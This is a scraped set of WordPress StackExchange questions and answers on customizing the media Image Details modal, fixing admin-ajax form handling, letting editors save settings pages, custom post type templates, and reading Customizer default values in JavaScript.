&lt;label&gt;&lt;span&gt;&lt;?php _e( 'Width' ); ?&gt; &lt;small&gt;(px)&lt;/small&gt;&lt;/span&gt; &lt;input data-setting=\"customWidth\" type=\"number\" step=\"1\" value=\"{{ data.model.customWidth }}\" /&gt;&lt;/label&gt;&lt;span class=\"sep\"&gt;&amp;times;&lt;/span&gt;&lt;label&gt;&lt;span&gt;&lt;?php _e( 'Height' ); ?&gt; &lt;small&gt;(px)&lt;/small&gt;&lt;/span&gt;&lt;input data-setting=\"customHeight\" type=\"number\" step=\"1\" value=\"{{ data.model.customHeight }}\" /&gt;&lt;/label&gt;\n &lt;/div&gt;\n &lt;# } #&gt;\n\n &lt;div class=\"setting link-to\"&gt;\n &lt;span&gt;&lt;?php _e('Link To'); ?&gt;&lt;/span&gt;\n &lt;select data-setting=\"link\"&gt;\n &lt;# if ( data.attachment ) { #&gt;\n &lt;option value=\"file\"&gt;\n &lt;?php esc_html_e( 'Media File' ); ?&gt;\n &lt;/option&gt;\n &lt;option value=\"post\"&gt;\n &lt;?php esc_html_e( 'Attachment Page' ); ?&gt;\n &lt;/option&gt;\n &lt;# } else { #&gt;\n &lt;option value=\"file\"&gt;\n &lt;?php esc_html_e( 'Image URL' ); ?&gt;\n &lt;/option&gt;\n &lt;# } #&gt;\n &lt;option value=\"custom\"&gt;\n &lt;?php esc_html_e( 'Custom URL' ); ?&gt;\n &lt;/option&gt;\n &lt;option value=\"none\"&gt;\n &lt;?php esc_html_e( 'None' ); ?&gt;\n &lt;/option&gt;\n &lt;/select&gt;\n &lt;input type=\"text\" class=\"link-to-custom\" data-setting=\"linkUrl\" /&gt;\n &lt;/div&gt;\n &lt;div class=\"advanced-section\"&gt;\n &lt;h2&gt;&lt;button type=\"button\" class=\"button-link advanced-toggle\"&gt;&lt;?php _e( 'Advanced Options' ); ?&gt;&lt;/button&gt;&lt;/h2&gt;\n &lt;div class=\"advanced-settings hidden\"&gt;\n &lt;div class=\"advanced-image\"&gt;\n &lt;label class=\"setting title-text\"&gt;\n &lt;span&gt;&lt;?php _e('Image Title Attribute'); ?&gt;&lt;/span&gt;\n &lt;input type=\"text\" data-setting=\"title\" value=\"{{ data.model.title }}\" /&gt;\n &lt;/label&gt;\n &lt;label class=\"setting extra-classes\"&gt;\n &lt;span&gt;&lt;?php _e('Image CSS Class'); ?&gt;&lt;/span&gt;\n &lt;input type=\"text\" data-setting=\"extraClasses\" value=\"{{ data.model.extraClasses }}\" /&gt;\n &lt;/label&gt;\n &lt;/div&gt;\n &lt;div class=\"advanced-link\"&gt;\n &lt;div class=\"setting link-target\"&gt;\n &lt;label&gt;&lt;input type=\"checkbox\" data-setting=\"linkTargetBlank\" value=\"_blank\" &lt;# if ( data.model.linkTargetBlank ) { #&gt;checked=\"checked\"&lt;# } #&gt;&gt;&lt;?php _e( 'Open link in a new tab' ); ?&gt;&lt;/label&gt;\n &lt;/div&gt;\n &lt;label class=\"setting link-rel\"&gt;\n &lt;span&gt;&lt;?php _e('Link Rel'); ?&gt;&lt;/span&gt;\n &lt;input type=\"text\" data-setting=\"linkRel\" value=\"{{ data.model.linkClassName }}\" /&gt;\n &lt;/label&gt;\n &lt;label class=\"setting link-class-name\"&gt;\n &lt;span&gt;&lt;?php _e('Link CSS Class'); ?&gt;&lt;/span&gt;\n &lt;input type=\"text\" data-setting=\"linkClassName\" value=\"{{ data.model.linkClassName }}\" /&gt;\n &lt;/label&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/script&gt; \n &lt;?php\n}\n</code></pre>\n" }, { "answer_id": 268302, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>The beautiful Replace button below the preview thumbnail is poking my eyes, I want him, he's my Chuck Norris!</p>\n</blockquote>\n\n<p><em>\"Chuck Norris doesn’t program with a keyboard. He stares the computer down until it does what he wants\"</em> (<a href=\"http://www.neobytesolutions.com/chuck-norris-programmer-facts-part-1/\" rel=\"nofollow noreferrer\">src</a>)</p>\n\n<p>For those of us who need the keyboard to program, then there's a way to inject the button after the <code>.image img</code> selector if it's missing:</p>\n\n<p><a href=\"https://i.stack.imgur.com/vj94l.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vj94l.jpg\" alt=\"replace\"></a></p>\n\n<p>where we extend the <code>ImageDetails</code> media view and override the <code>resetFocus()</code> method:</p>\n\n<pre><code>add_action( 'print_media_templates', function() { ?&gt; \n &lt;script&gt;\n jQuery(document).ready( function( $ ) {\n wp.media.view.ImageDetails = wp.media.view.ImageDetails.extend({\n resetFocus: function() {\n this.$( '.link-to-custom' ).blur();\n this.$( '.embed-media-settings' ).scrollTop( 0 );\n // Inject Replace button if it's missing:\n if( ! this.$('.replace-attachment' ).length ) {\n this.$( '&lt;div class=\"actions\"&gt; &lt;input type=\"button\" class=\"replace-attachment button my-theme\" value=\"Replace\" /&gt;&lt;/div&gt;' ).insertAfter('.image img');\n }\n }\n });\n }); \n &lt;/script&gt; \n&lt;?php } );\n</code></pre>\n\n<p>We could also override the <code>initialize()</code> method and hook into the <code>post-render</code> event, like in the question <a href=\"https://wordpress.stackexchange.com/q/215979/26350\">here</a> by @Druzion. </p>\n\n<p>Here's a working and modified version from that question:</p>\n\n<pre><code>add_action( 'print_media_templates', function() { ?&gt; \n &lt;script&gt;\n jQuery(document).ready( function( $ ) {\n wp.media.view.ImageDetails = wp.media.view.ImageDetails.extend({\n initialize: function() {\n this.on( 'post-render', this.add_settings );\n },\n add_settings: function() {\n // Inject Replace button if it's missing:\n if( ! this.$('.replace-attachment' ).length ) {\n this.$('.image').append( '&lt;div class=\"actions\"&gt;&lt;input type=\"button\" class=\"replace-attachment button my-theme\" value=\"Replace\" /&gt;&lt;/div&gt;');\n }\n }\n });\n }) \n &lt;/script&gt; \n&lt;?php } );\n</code></pre>\n\n<p>Note the <code>this.$</code> usage instead of <code>$</code>.</p>\n\n<p>Similarly we could override the <code>render()</code> method, like I played with <a href=\"https://wordpress.stackexchange.com/a/206179/26350\">here</a>.</p>\n\n<p>Another approach is to replace parts of the default templates, using output buffering and substring replacements, as @bonger did <a href=\"https://wordpress.stackexchange.com/a/217428/26350\">here</a>. </p>\n\n<p><em>Also note the javascript error, from the Replace button usage, mentioned by @Dave Romsey</em></p>\n" } ]
2017/05/25
[ "https://wordpress.stackexchange.com/questions/268100", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/59031/" ]
I've been searching for a couple of days now so I'll keep my question as short as possible to get out of your ways. What I'm trying to do should be very basic with jQuery (append) I guess but for some strange reason I can't get it done while adding .js to the backend. Also this custom hack is just temporary, until the [Gutenberg editor](https://github.com/WordPress/gutenberg) releases into the core and all this will not be needed anymore. **Q**: **Simply add a "Hello world!" string to the Image Details modal where the red text on the screenshot(s) below is**. -- Screenshots below is a quick summit from what I'm doing. [![enter image description here](https://i.stack.imgur.com/gShHZ.png)](https://i.stack.imgur.com/gShHZ.png) This Image Details modal pops up when you press *Edit* image on a single image that is **not** part of your Media Library and doesn't have a Post\_ID. Placeholder (URL) images for example. Screenshot nr. 2. This Image Details modal is what you get when you click *Edit image* on a image that is added to a post the Media Library before. The beautiful *Replace* button below the preview thumbnail is poking my eyes, I want him, he's my Chuck Norris! [![enter image description here](https://i.stack.imgur.com/rxQu8.png)](https://i.stack.imgur.com/rxQu8.png)
Here's an alternative technique to manipulating the template. I adapted the solution below from [this post](http://unsalkorkmaz.com/wp3-5-media-gallery-edit-modal-change-captions-to-title/). In the approach below, the `print_media_templates` hook, which is triggered at the bottom of `wp-includes/media-template.php`, is used to output some JavaScript that removes the default image details underscores template (`<script type="text/html" id="tmpl-image-details">`) and replaces it with a duplicated version which we can modify to suit our needs. I've added *Hello, world!* in the modified template, and the *Replace* button too (more on that in a second). One of the drawbacks of this approach is that if/when the WordPress core is updated, our forked template won't reflect any changes to this particular media template. Another problem here is that simply adding the button is not enough. You can activate the button by removing the HTML comments (`<!--` and `-->`) that I wrapped it in if you want to proceed anyway. Using the standard *Replace* button on an image that is not part of the media library will trigger an error in the console, but seems to work never-the-less. Ideally, a custom button should be created or the JS controller that handles the *Replace* button's functionality should be implemented (which I'm not sure how to do). ``` add_action( 'print_media_templates', 'wpse_print_media_templates' ); function wpse_print_media_templates() { ?> <script> // Idea via http://unsalkorkmaz.com/wp3-5-media-gallery-edit-modal-change-captions-to-title/ jQuery( document ).ready( function( $ ){ jQuery( "script#tmpl-image-details:first" ).remove(); }); </script> <script type="text/html" id="tmpl-image-details"> <div class="media-embed"> <div class="embed-media-settings"> <div class="column-image"> <div class="image"> <img src="{{ data.model.url }}" draggable="false" alt="" /> <# if ( data.attachment && window.imageEdit ) { #> <div class="actions"> <input type="button" class="edit-attachment button" value="<?php esc_attr_e( 'Edit Original' ); ?>" /> <input type="button" class="replace-attachment button" value="<?php esc_attr_e( 'Replace' ); ?>" /> </div> <# } else if ( ! data.attachment && window.imageEdit ) { #> <!-- <div class="actions"> <input type="button" class="replace-attachment button my-theme" value="<?php esc_attr_e( 'Replace' ); ?>" /> </div> --> <# } #> <h1>Hello, world!</h1> </div> </div> <div class="column-settings"> <?php /** This filter is documented in wp-admin/includes/media.php */ if ( ! apply_filters( 'disable_captions', '' ) ) : ?> <label class="setting caption"> <span><?php _e('Caption'); ?></span> <textarea data-setting="caption">{{ data.model.caption }}</textarea> </label> <?php endif; ?> <label class="setting alt-text"> <span><?php _e('Alternative Text'); ?></span> <input type="text" data-setting="alt" value="{{ data.model.alt }}" /> </label> <h2><?php _e( 'Display Settings' ); ?></h2> <div class="setting align"> <span><?php _e('Align'); ?></span> <div class="button-group button-large" data-setting="align"> <button class="button" value="left"> <?php esc_html_e( 'Left' ); ?> </button> <button class="button" value="center"> <?php esc_html_e( 'Center' ); ?> </button> <button class="button" value="right"> <?php esc_html_e( 'Right' ); ?> </button> <button class="button active" value="none"> <?php esc_html_e( 'None' ); ?> </button> </div> </div> <# if ( data.attachment ) { #> <# if ( 'undefined' !== typeof data.attachment.sizes ) { #> <label class="setting size"> <span><?php _e('Size'); ?></span> <select class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #>> <?php /** This filter is documented in wp-admin/includes/media.php */ $sizes = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'), ) ); foreach ( $sizes as $value => $name ) : ?> <# var size = data.sizes['<?php echo esc_js( $value ); ?>']; if ( size ) { #> <option value="<?php echo esc_attr( $value ); ?>"> <?php echo esc_html( $name ); ?> &ndash; {{ size.width }} &times; {{ size.height }} </option> <# } #> <?php endforeach; ?> <option value="<?php echo esc_attr( 'custom' ); ?>"> <?php _e( 'Custom Size' ); ?> </option> </select> </label> <# } #> <div class="custom-size<# if ( data.model.size !== 'custom' ) { #> hidden<# } #>"> <label><span><?php _e( 'Width' ); ?> <small>(px)</small></span> <input data-setting="customWidth" type="number" step="1" value="{{ data.model.customWidth }}" /></label><span class="sep">&times;</span><label><span><?php _e( 'Height' ); ?> <small>(px)</small></span><input data-setting="customHeight" type="number" step="1" value="{{ data.model.customHeight }}" /></label> </div> <# } #> <div class="setting link-to"> <span><?php _e('Link To'); ?></span> <select data-setting="link"> <# if ( data.attachment ) { #> <option value="file"> <?php esc_html_e( 'Media File' ); ?> </option> <option value="post"> <?php esc_html_e( 'Attachment Page' ); ?> </option> <# } else { #> <option value="file"> <?php esc_html_e( 'Image URL' ); ?> </option> <# } #> <option value="custom"> <?php esc_html_e( 'Custom URL' ); ?> </option> <option value="none"> <?php esc_html_e( 'None' ); ?> </option> </select> <input type="text" class="link-to-custom" data-setting="linkUrl" /> </div> <div class="advanced-section"> <h2><button type="button" class="button-link advanced-toggle"><?php _e( 'Advanced Options' ); ?></button></h2> <div class="advanced-settings hidden"> <div class="advanced-image"> <label class="setting title-text"> <span><?php _e('Image Title Attribute'); ?></span> <input type="text" data-setting="title" value="{{ data.model.title }}" /> </label> <label class="setting extra-classes"> <span><?php _e('Image CSS Class'); ?></span> <input type="text" data-setting="extraClasses" value="{{ data.model.extraClasses }}" /> </label> </div> <div class="advanced-link"> <div class="setting link-target"> <label><input type="checkbox" data-setting="linkTargetBlank" value="_blank" <# if ( data.model.linkTargetBlank ) { #>checked="checked"<# } #>><?php _e( 'Open link in a new tab' ); ?></label> </div> <label class="setting link-rel"> <span><?php _e('Link Rel'); ?></span> <input type="text" data-setting="linkRel" value="{{ data.model.linkClassName }}" /> </label> <label class="setting link-class-name"> <span><?php _e('Link CSS Class'); ?></span> <input type="text" data-setting="linkClassName" value="{{ data.model.linkClassName }}" /> </label> </div> </div> </div> </div> </div> </div> </script> <?php } ```
268,104
<p>I'm struggling with this for a couple of days already, so any help is most welcome. Not my first time setting up Ajax with WP, so I have some idea at the least. It concerns a very standard form validation and inputting info to database. <strong>This all inside of a plugin.</strong> </p> <p>So, what works: form submission works, the jquery script is activated and forwards the input info to the callback PHP file.</p> <p>Problem is that, for some reason, the specific function that handles the form on that PHP file is not activated.</p> <p>So, what do I have? I will skip the form as such because it seems pretty standard.</p> <p>1 - the javascript/jquery</p> <blockquote> <p>/plugins/alert-widget/submit_handler.js</p> </blockquote> <pre><code>jQuery(document).ready( function() { jQuery("#alert_set_form").on("submit", function(e) { e.preventDefault(); var info = jQuery("#alert_set_form").serialize(); // Post to the server jQuery.ajax({ type:"POST", url:ajaxAlert.ajaxurl, data:info, dataType:'json', success: function(data){ jQuery("#alert_set_form .stm-validation-message").html(data); } }); }); }); </code></pre> <p>1- the main PHP plugin file that builds the form and is supposed to handle the validation/data input.</p> <blockquote> <p>/plugins/alert-widget/alert_widget.php</p> </blockquote> <pre><code>add_action('wp_ajax_bda_alert', 'bda_alert_validation'); add_action('wp_ajax_nopriv_bda_alert', 'bda_alert_validation'); /* this commented out code was placed just to check if call hits the file, which it does if( isset($_POST['model'])){ $criteria = array( 'model' =&gt; $_POST['model'], 'body' =&gt; $_POST['body'], 'price' =&gt; $_POST['price'], 'mileage' =&gt; $_POST['mileage'], 'ca-year' =&gt; $_POST['ca-year'], 'fuel' =&gt; $_POST['fuel'], 'transmission' =&gt; $_POST['transmission'] ); $criteria = base64_encode(serialize($criteria)); $response = $criteria; wp_send_json( $response ); wp_die(); } */ function bda_alert_validation(){ //does validation and input $response =array( 'data' =&gt; 'success', 'supplemental' =&gt; array( 'message' =&gt; 'success', ), ) ; wp_send_json( $response ); wp_die(); } add_action('init', 'alert_form_init' ); function alert_form_init() { wp_register_script( "alert_form_script", WP_PLUGIN_URL.'/alert-widget/submit_handler.js', array('jquery') ); wp_localize_script( 'alert_form_script', 'ajaxAlert', array( 'ajaxurl' =&gt; admin_url( 'admin-ajax.php' ))); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'alert_form_script'); } </code></pre>
[ { "answer_id": 268106, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 3, "selected": false, "text": "<p>The above AJAX callback could be rewritten as a REST API endpoint like this:</p>\n\n<pre><code>function bda_alert_validation( $request ){\n // $info = $request['info'];\n $response = array(\n 'data' =&gt; 'success',\n 'supplemental' =&gt; array(\n 'message' =&gt; 'success'\n )\n ) ;\n return $response; \n}\n\nadd_action( 'rest_api_init', function () {\n register_rest_route( 'bernarda/v1', '/validatealert/', array(\n 'methods' =&gt; 'POST',\n 'callback' =&gt; 'bda_alert_validation'\n ) );\n} );\n</code></pre>\n\n<p>Now you have an endpoint at <code>example.com/wp-json/benarda/v1/validatealert/</code> that you can do <code>POST</code> requests against</p>\n" }, { "answer_id": 268113, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 4, "selected": true, "text": "<p>Since you're serializing the form, as ajax data, you could be missing the <code>action</code> part from your form:</p>\n\n<pre><code>&lt;input type=\"hidden\" name=\"action\" value=\"bda_alert\"&gt;\n</code></pre>\n\n<p>so your ajax request would contain</p>\n\n<pre><code>/wp-admin/admin-ajax.php?action=bda_alert&amp;...\n</code></pre>\n\n<p>that should invoke the <code>wp_ajax_bda_alert</code> or <code>wp_ajax_nopriv_bda_alert</code> action callback.</p>\n" } ]
2017/05/25
[ "https://wordpress.stackexchange.com/questions/268104", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62159/" ]
I'm struggling with this for a couple of days already, so any help is most welcome. Not my first time setting up Ajax with WP, so I have some idea at the least. It concerns a very standard form validation and inputting info to database. **This all inside of a plugin.** So, what works: form submission works, the jquery script is activated and forwards the input info to the callback PHP file. Problem is that, for some reason, the specific function that handles the form on that PHP file is not activated. So, what do I have? I will skip the form as such because it seems pretty standard. 1 - the javascript/jquery > > /plugins/alert-widget/submit\_handler.js > > > ``` jQuery(document).ready( function() { jQuery("#alert_set_form").on("submit", function(e) { e.preventDefault(); var info = jQuery("#alert_set_form").serialize(); // Post to the server jQuery.ajax({ type:"POST", url:ajaxAlert.ajaxurl, data:info, dataType:'json', success: function(data){ jQuery("#alert_set_form .stm-validation-message").html(data); } }); }); }); ``` 1- the main PHP plugin file that builds the form and is supposed to handle the validation/data input. > > /plugins/alert-widget/alert\_widget.php > > > ``` add_action('wp_ajax_bda_alert', 'bda_alert_validation'); add_action('wp_ajax_nopriv_bda_alert', 'bda_alert_validation'); /* this commented out code was placed just to check if call hits the file, which it does if( isset($_POST['model'])){ $criteria = array( 'model' => $_POST['model'], 'body' => $_POST['body'], 'price' => $_POST['price'], 'mileage' => $_POST['mileage'], 'ca-year' => $_POST['ca-year'], 'fuel' => $_POST['fuel'], 'transmission' => $_POST['transmission'] ); $criteria = base64_encode(serialize($criteria)); $response = $criteria; wp_send_json( $response ); wp_die(); } */ function bda_alert_validation(){ //does validation and input $response =array( 'data' => 'success', 'supplemental' => array( 'message' => 'success', ), ) ; wp_send_json( $response ); wp_die(); } add_action('init', 'alert_form_init' ); function alert_form_init() { wp_register_script( "alert_form_script", WP_PLUGIN_URL.'/alert-widget/submit_handler.js', array('jquery') ); wp_localize_script( 'alert_form_script', 'ajaxAlert', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ))); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'alert_form_script'); } ```
Since you're serializing the form, as ajax data, you could be missing the `action` part from your form: ``` <input type="hidden" name="action" value="bda_alert"> ``` so your ajax request would contain ``` /wp-admin/admin-ajax.php?action=bda_alert&... ``` that should invoke the `wp_ajax_bda_alert` or `wp_ajax_nopriv_bda_alert` action callback.
268,111
<p>I currently have a custom post type with a sub menu page via <code>add_submenu_page</code>. On this page I have a form with some basic settings such as a text editor and some radio buttons. </p> <pre><code>function programme_enable_pages() { add_submenu_page( 'edit.php?post_type=programmes', 'content', 'Archive content', 'edit_pages', basename(__FILE__), 'archiveContent' ); } add_action( 'admin_menu', 'programme_enable_pages' ); function register_programme_settings() { register_setting( 'programme_content', 'programme_content' ); register_setting( 'programme_content', 'programme_branding' ); } add_action( 'admin_init', 'register_programme_settings' ); function archiveContent() { ?&gt; &lt;div class="wrap"&gt; &lt;form method="post" action="options.php"&gt; &lt;?php settings_fields( 'programme_content' ); do_settings_sections( 'programme_content' ); wp_editor( get_option( 'programme_content' ), 'programme_content', $settings = array( 'textarea_name' =&gt; 'programme_content' ) ); ?&gt; &lt;label&gt;&lt;b&gt;Branding options&lt;/b&gt;&lt;/label&gt;&lt;br&gt; &lt;input type="radio" name="programme_branding" id="branding_blue" value="blueBranding" &lt;?php checked('blueBranding', get_option('programme_branding'), true); ?&gt; checked="checked"&gt;Blue Branding&lt;br&gt; &lt;input type="radio" name="programme_branding" id="branding_red" value="redBranding" &lt;?php checked('redBranding', get_option('programme_branding'), true); ?&gt;/&gt;Red Branding&lt;br&gt; &lt;input type="radio" name="programme_branding" id="branding_orange" value="orangeBranding" &lt;?php checked('orangeBranding', get_option('programme_branding'), true); ?&gt;/&gt;Orange Branding &lt;?php submit_button(); ?&gt; &lt;/form&gt; &lt;/div&gt; &lt;?php } </code></pre> <p>When a user with a role of administrator edits any of the content and saves the changes, the content saves with no issues. But when a user with a role of editor saves the changes, they are directed to a page which states:</p> <blockquote> <p>Sorry, you are not allowed to manage these options.</p> </blockquote> <p>Can anyone please point me in the right direction on how I can make anyone with a user role of editor save these options?</p>
[ { "answer_id": 269293, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": -1, "selected": false, "text": "<p>To save options the user needs to have the <code>manage_options</code> capability, which editors lack.</p>\n\n<p>Your use of <code>edit_pages</code> capability for the menu, lets the admin page be accessible to editors, but setting submit goes to the option handler code which is not taking into account the context of the admin page.</p>\n\n<p>How to fix? I would say that no one except for an admin should be able to change site wide setting, so your approach is just wrong... more constructive options are not to use the settings API and handle the form submission yourself, or use a role manager type of plugin to give the user the <code>manage_option</code> capability.</p>\n" }, { "answer_id": 291319, "author": "meloniq", "author_id": 14184, "author_profile": "https://wordpress.stackexchange.com/users/14184", "pm_score": 3, "selected": true, "text": "<p>In the <code>wp-admin/options.php</code> file you find filter with name created from your settings group to control permissions:</p>\n\n<pre><code>$capability = apply_filters( \"option_page_capability_{$option_page}\", $capability );\n</code></pre>\n\n<p>to fix issue, add filter with your desired permission level like:</p>\n\n<pre><code>add_filter( 'option_page_capability_programme_content', 'my_settings_permissions', 10, 1 );\nfunction my_settings_permissions( $capability ) {\n return 'edit_pages';\n}\n</code></pre>\n" } ]
2017/05/25
[ "https://wordpress.stackexchange.com/questions/268111", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/37243/" ]
I currently have a custom post type with a sub menu page via `add_submenu_page`. On this page I have a form with some basic settings such as a text editor and some radio buttons. ``` function programme_enable_pages() { add_submenu_page( 'edit.php?post_type=programmes', 'content', 'Archive content', 'edit_pages', basename(__FILE__), 'archiveContent' ); } add_action( 'admin_menu', 'programme_enable_pages' ); function register_programme_settings() { register_setting( 'programme_content', 'programme_content' ); register_setting( 'programme_content', 'programme_branding' ); } add_action( 'admin_init', 'register_programme_settings' ); function archiveContent() { ?> <div class="wrap"> <form method="post" action="options.php"> <?php settings_fields( 'programme_content' ); do_settings_sections( 'programme_content' ); wp_editor( get_option( 'programme_content' ), 'programme_content', $settings = array( 'textarea_name' => 'programme_content' ) ); ?> <label><b>Branding options</b></label><br> <input type="radio" name="programme_branding" id="branding_blue" value="blueBranding" <?php checked('blueBranding', get_option('programme_branding'), true); ?> checked="checked">Blue Branding<br> <input type="radio" name="programme_branding" id="branding_red" value="redBranding" <?php checked('redBranding', get_option('programme_branding'), true); ?>/>Red Branding<br> <input type="radio" name="programme_branding" id="branding_orange" value="orangeBranding" <?php checked('orangeBranding', get_option('programme_branding'), true); ?>/>Orange Branding <?php submit_button(); ?> </form> </div> <?php } ``` When a user with a role of administrator edits any of the content and saves the changes, the content saves with no issues. But when a user with a role of editor saves the changes, they are directed to a page which states: > > Sorry, you are not allowed to manage these options. > > > Can anyone please point me in the right direction on how I can make anyone with a user role of editor save these options?
In the `wp-admin/options.php` file you find filter with name created from your settings group to control permissions: ``` $capability = apply_filters( "option_page_capability_{$option_page}", $capability ); ``` to fix issue, add filter with your desired permission level like: ``` add_filter( 'option_page_capability_programme_content', 'my_settings_permissions', 10, 1 ); function my_settings_permissions( $capability ) { return 'edit_pages'; } ```
268,124
<p><a href="https://developer.wordpress.org/themes/basics/template-hierarchy/" rel="nofollow noreferrer">Here</a> i read that if i create a custom post type, Wordpress will look to its specific template first, then it falls back to single.php.</p> <p>I registered a custom post type (i'll show the taxonomy as well), which is properly shown in admin; i can create them well and i've been able to add them to the list of posts in blog's main page. However, when i try to visit its page, i'm not getting a 404 error, but title is not shown in head section and it uses the index.php template, although i have a single.php which is working with common posts and i'd like to use. My new type (in functions.php)</p> <pre><code>function mytheme_customtypes () { $post_args = array( 'label' =&gt; _('Blog Post'), 'description' =&gt; _('Site\'s blog posts'), 'show_ui' =&gt; true, 'show_in_nav_menus' =&gt; true, 'taxonomies' =&gt; array('blog_posts'), 'supports' =&gt; array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'), 'capability_type' =&gt; 'post', 'rewrite' =&gt; array('slug' =&gt; 'blog', 'has_archive' =&gt; 'blog_posts', 'with_front' =&gt; false) ); $tax_args = array( 'label' =&gt; 'Blog posts', 'description' =&gt; _('Raccolta dei post per il blog'), 'show_ui' =&gt; true, 'show_in_nav_menus' =&gt; true, 'rewrite' =&gt; array('slug' =&gt; 'blogs', 'with_front' =&gt; false), 'hierarchical' =&gt; true ); register_post_type('blog_post', $post_args); register_taxonomy('blog_posts', 'blog_post', $tax_args); } add_action('init', 'mytheme_customtypes'); </code></pre> <p>Trying to create a new template name single-blog_post.php had no effect. Any help is appreciated</p>
[ { "answer_id": 268125, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 0, "selected": false, "text": "<p>I am not sure I follow your question entirely (the bit about \"adding\" them to the blog). However from your description I think you are missing distinction between <em>archive</em> templates and <em>singular</em> templates.</p>\n\n<p><code>index.php</code> is catch–all template, it is last fallback for <em>both</em> archives and singular branches of hierarchy.</p>\n\n<p>But before that the logic is different, roughly:</p>\n\n<ul>\n<li><code>archive-blog_post.php</code> > <code>archive.php</code> > <code>index.php</code> for archive</li>\n<li><code>single-blog_post.php</code> > <code>single.php</code> > <code>index.php</code> for singular</li>\n</ul>\n\n<p>So if you are looking at <em>archive</em> of your CPT then any <em>singular</em> templates for it that you have are irrelevant. And other way around.</p>\n\n<p>You would need to create <em>both</em> templates for your CPT if you want to customize <em>both</em> archives and singular entries for it.</p>\n" }, { "answer_id": 268127, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": true, "text": "<p><code>public</code> is <code>false</code> by default, your post type will not be visible on the front end without explicitly setting it to <code>true</code>.</p>\n\n<pre><code>$post_args = array(\n 'public' =&gt; true,\n 'label' =&gt; _('Blog Post'),\n 'description' =&gt; _('Site\\'s blog posts'),\n 'show_ui' =&gt; true,\n 'show_in_nav_menus' =&gt; true,\n 'taxonomies' =&gt; array('blog_posts'),\n 'supports' =&gt; array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'),\n 'capability_type' =&gt; 'post',\n 'rewrite' =&gt; array('slug' =&gt; 'blog', 'has_archive' =&gt; 'blog_posts', 'with_front' =&gt; false)\n);\n</code></pre>\n" } ]
2017/05/25
[ "https://wordpress.stackexchange.com/questions/268124", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119611/" ]
[Here](https://developer.wordpress.org/themes/basics/template-hierarchy/) i read that if i create a custom post type, Wordpress will look to its specific template first, then it falls back to single.php. I registered a custom post type (i'll show the taxonomy as well), which is properly shown in admin; i can create them well and i've been able to add them to the list of posts in blog's main page. However, when i try to visit its page, i'm not getting a 404 error, but title is not shown in head section and it uses the index.php template, although i have a single.php which is working with common posts and i'd like to use. My new type (in functions.php) ``` function mytheme_customtypes () { $post_args = array( 'label' => _('Blog Post'), 'description' => _('Site\'s blog posts'), 'show_ui' => true, 'show_in_nav_menus' => true, 'taxonomies' => array('blog_posts'), 'supports' => array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'), 'capability_type' => 'post', 'rewrite' => array('slug' => 'blog', 'has_archive' => 'blog_posts', 'with_front' => false) ); $tax_args = array( 'label' => 'Blog posts', 'description' => _('Raccolta dei post per il blog'), 'show_ui' => true, 'show_in_nav_menus' => true, 'rewrite' => array('slug' => 'blogs', 'with_front' => false), 'hierarchical' => true ); register_post_type('blog_post', $post_args); register_taxonomy('blog_posts', 'blog_post', $tax_args); } add_action('init', 'mytheme_customtypes'); ``` Trying to create a new template name single-blog\_post.php had no effect. Any help is appreciated
`public` is `false` by default, your post type will not be visible on the front end without explicitly setting it to `true`. ``` $post_args = array( 'public' => true, 'label' => _('Blog Post'), 'description' => _('Site\'s blog posts'), 'show_ui' => true, 'show_in_nav_menus' => true, 'taxonomies' => array('blog_posts'), 'supports' => array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'), 'capability_type' => 'post', 'rewrite' => array('slug' => 'blog', 'has_archive' => 'blog_posts', 'with_front' => false) ); ```
268,173
<p>Is it possible to get a default value that was set in the Customizer setting? Here is an example of the code:</p> <pre><code>// Add setting. $wp_customize-&gt;add_setting( 'slug_awesome_title', array( 'default' =&gt; esc_html__( 'WordPress', 'slug' ), 'sanitize_callback' =&gt; 'sanitize_text_field', ) ); // Add control. $wp_customize-&gt;add_control( 'slug_awesome_title', array( 'label' =&gt; esc_html__( 'Section Title', 'slug' ), 'section' =&gt; 'slug_awesome_section', 'type' =&gt; 'text', ) ); </code></pre> <p>If the current control has already a set value, let's say it's "WooCommerce", how can I get a default value which is set to "WordPress" using wp.customize API in JS?</p> <p>I've tried this:</p> <pre><code>wp.customize.instance( 'slug_awesome_title' ).get() </code></pre> <p>but it returns the current value of the control.</p>
